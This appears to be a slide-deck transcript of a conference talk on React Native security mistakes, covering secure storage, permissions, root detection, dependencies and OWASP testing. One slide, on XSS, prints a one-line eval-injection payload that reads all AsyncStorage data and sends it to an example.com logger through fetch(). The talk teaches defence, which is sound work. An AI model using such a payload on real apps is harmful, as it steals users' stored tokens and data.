Upgrade to Pro — share decks privately, control downloads, hide ads and more …

React Native Security

Julia Mezher
September 24, 2021

React Native Security

Julia Mezher

September 24, 2021
Tweet

More Decks by Julia Mezher

Other Decks in Programming

Transcript

  1. Name Surname Sed ut perspiciatis unde omnis iste natus error

    sit voluptatem accusantium doloremque laudantium Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium something.org Julia Potapenko React Native Security Addressing Typical Mistakes Let's shed light on React Native apps’ security and explain some risks and threats developers should address to prevent typical mistakes. @julepka cossacklabs.com
  2. Name Surname Sed ut perspiciatis unde omnis iste natus error

    sit voluptatem accusantium doloremque laudantium Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium something.org Julia Potapenko About me 👩💻 Security Software Engineer at Cossack Labs Leader of OWASP Zhytomyr Chapter, Ukraine 🇺🇦 ❤︎ OWASP MASVS/MSTG Project @julepka cossacklabs.com We help companies to protect their sensitive and valuable data.
  3. React Native Security. Addressing Typical Mistakes We will talk about

    Architecture Platforms usage Dependencies Security testing
  4. React Native Security. Addressing Typical Mistakes “Choosing React Native and

    its components means that you understand and accept potential security consequences.”
  5. React Native Security. Addressing Typical Mistakes Architecture basics React Native

    is a cross-platform solution from Facebook that allows writing native apps using React (JavaScript or TypeScript).
  6. React Native Security. Addressing Typical Mistakes Trusting third parties Native

    platforms = Apple and Google React Native = Facebook TypeScript = Microsoft
  7. React Native Security. Addressing Typical Mistakes Trusting third parties Native

    platforms = Apple and Google React Native = Facebook TypeScript = Microsoft
  8. React Native Security. Addressing Typical Mistakes Trusting third parties Native

    platforms = Apple and Google React Native = Facebook TypeScript = Microsoft CVE-2020-1911 CVE-2020-1912 CVE-2020-1913
  9. React Native Security. Addressing Typical Mistakes “With React Native, developers

    deal with security for all three platforms: iOS, Android and React Native.”
  10. Secure Store Example iOS Android Keychain SharedPreferences + KeyStore Data

    stored encrypted Yes Yes React Native Security. Addressing Typical Mistakes
  11. Secure Store Example iOS Android Keychain SharedPreferences + KeyStore Data

    stored encrypted Yes Yes Data persists across app reinstalls Yes No Hardware-backed encryption Yes Depends on device vendor Data decrypted only before usage Decrypted when device unlocked Yes React Native Security. Addressing Typical Mistakes
  12. Managing Android Permissions React Native Security. Addressing Typical Mistakes Android:

    You can add permissions in multiple files + React Native: It is common practice to use third-party solutions
  13. Managing Android Permissions React Native Security. Addressing Typical Mistakes Android:

    You can add permissions in multiple files + React Native: It is common practice to use third-party solutions = 💥🤯💥 I don’t need this permission The app crashes if I delete it
  14. Is XSS possible? React Native Security. Addressing Typical Mistakes XSS

    possibility is decreases by design. XSS is still possible. eval() _reactNative.AsyncStorage.getAllKeys(function(err,result) {_reactNative.AsyncStorage.multiGet(result,function(err,result ) {fetch(‘http://example.com/logger.php?token='+JSON.stringify(result));});}); Steal all the data from local storage (AsyncStorage) by exploiting eval- based injection and accessing React Native APIs
  15. Jailbreak and Root detection React Native Security. Addressing Typical Mistakes

    It is never easy for regular iOS and Android teams.
  16. Jailbreak and Root detection React Native Security. Addressing Typical Mistakes

    It is never easy for regular iOS and Android teams. There are no ready to go React Native solutions: a. implement on your own b. use third-party solutions for each platform and write bridging code
  17. Jailbreak and Root detection React Native Security. Addressing Typical Mistakes

    It is never easy for regular iOS and Android teams. There are no ready to go React Native solutions: a. implement on your own b. use third-party solutions for each platform and write bridging code Example: IOSSecuritySuite https://github.com/securing/IOSSecuritySuite Swift ➤ Objective-C ➤ React Native
  18. Monitoring dependencies React Native Security. Addressing Typical Mistakes 🤯 So

    many dependencies Additional CI work One update triggers another update Integrating dependency checkers Updates may be incompatible What if there is no fix for vulnerability? Architectural changes required Tight deadlines
  19. What if there is no fix? React Native Security. Addressing

    Typical Mistakes ✅ Learn more about the issue, its scope ✅ Document it, make the team aware ✅ Monitor it and book the time for the update
  20. Plan time carefully! React Native Security. Addressing Typical Mistakes ➡

    iOS or Android update ➡ React Native update ➡ Forked version update ➡ Dependencies update ➡ Mobile app source code update
  21. React Native Security. Addressing Typical Mistakes OWASP MASVS Mobile Application

    Security Verification Standard https://github.com/OWASP/owasp-masvs Mobile Security Testing Guide https://github.com/OWASP/owasp-mstg OWASP MSTG
  22. React Native Security. Addressing Typical Mistakes OWASP MASVS Mobile Application

    Security Verification Standard https://github.com/OWASP/owasp-masvs Mobile Security Testing Guide https://github.com/OWASP/owasp-mstg OWASP MSTG “Please note that the MSTG focuses primarily on native apps. These are apps built with Java or Kotlin using the Android SDK for Android or built with Swift or Objective-C using the Apple SDKs for iOS. Apps using frameworks such as Nativescript, React- native, Xamarin, Cordova, etc. are not within the main focus of the MSTG. However, some essential controls, such as certificate pinning, have been explained already for some of these platforms.”
  23. You can still use MASVS! React Native Security. Addressing Typical

    Mistakes OWASP MASVS is language agnostic. All requirements are relevant for React Native apps because they are “native” under the hood.
  24. React Native Security. Addressing Typical Mistakes General ideas will be

    similar. You either look for similar JavaScript implementation or native code with bridging functions. You can still use MSTG!
  25. How do we test RN app security? React Native Security.

    Addressing Typical Mistakes 1. Use MASVS requirements. 2. Review JavaScript dependencies’ source code to understand native controls behind it. You need to be able to read all the languages: JavaScript (TypeScript), Objective-C (Swift), Java (Kotlin). 3. Use ASVS and WSTG to cover JavaScript-specific vulnerabilities like XSS.
  26. Final thoughts… React Native Security. Addressing Typical Mistakes “Learn once,

    write anywhere.” “Learn once, ask mobile security people for help.”
  27. Where to go next? React Native Security. Addressing Typical Mistakes

    My React Native Security Article https://www.cossacklabs.com/blog/react-native-app-security.html React Native Security Guide https://reactnative.dev/docs/security OWASP MASVS Hybrid Apps discussion https://github.com/OWASP/owasp-masvs/discussions/557